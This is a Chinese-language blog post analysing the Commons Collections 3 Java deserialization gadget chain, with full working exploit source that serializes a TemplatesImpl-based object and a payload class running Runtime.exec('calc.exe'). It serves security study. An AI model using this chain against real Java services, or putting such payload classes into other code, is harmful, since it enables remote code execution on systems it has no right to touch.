前言:
这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTransformer,整个调用过程如下图
利用链分析:
如上图所示,入口点还是Annotationinvoationhandler的Entryset
此时将会调用membervalues.get,其中var4位entryset,而membervalues中存储的为lazymap类的实例,即调用lazymap的get函数
即接着调用chainedTransformer来对key进行转换
其中iTransformer中存储了除了constantTransformer直接返回类,这里使用的类是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
接下来到了InstantiateTransformer的transformer函数,这里面会拿到input对应类的参数类型为templates的构造函数,然后再实例化
接着一路跟到TrAXFilter的构造函数中,可以看到这里实际上调用了templates.newTransformer,那我们知道templatesImpl的可以通过_bytecode
接下来的过程就不在叙述,就是templates类的利用
yso构造分析:
yso在这里构造payload的时候,constantTransformer返回的是TrAxFilter类,然后再结合instantiateTransformer的transform函数可以拿到入口参数的构造函数,然后再实例化,实例化过程中将调用
TrAxFilter的构造函数,从而调用templates.newTransformer
exp:
exp.java
package CommonCollections3;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
//
//@Dependencies({"commons-collections:commons-collections:3.1"})
//
public class exp {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
//
//构造Templates对象
//
TemplatesImpl tmp = new TemplatesImpl();
//rce代码块的对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay = pool.get(payload.class.getName());
byte[] PayCode = pay.toBytecode();
Class clazz;
clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field tf = clazz.getDeclaredField("_bytecodes");
tf.setAccessible(true);
tf.set(tmp,new byte[][]{PayCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
HashMap InnerMap = new HashMap();
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
ChainedTransformer chined = new ChainedTransformer(trans);
Map outmap = LazyMap.decorate(InnerMap,chined);
final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
con.setAccessible(true);
InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
//外层装proxy代理
final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
ObjOut.writeObject(out_han);
}
}
readobj.java
package CommonCollections3;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;
public class readObj {
public static void main(String[] args) {
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
try {
ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
obj.readObject();
obj.close();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
payload.java
package CommonCollections3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class payload extends AbstractTranslet {
{
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public payload(){
System.out.println("tr1ple 2333");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这条利用链也是受jdk版本影响的,相较于cc2有局限性,和cc1相类似,外层包装相同,只是内部chained转换链变化了
来源:oschina
链接:https://my.oschina.net/u/4387439/blog/3301245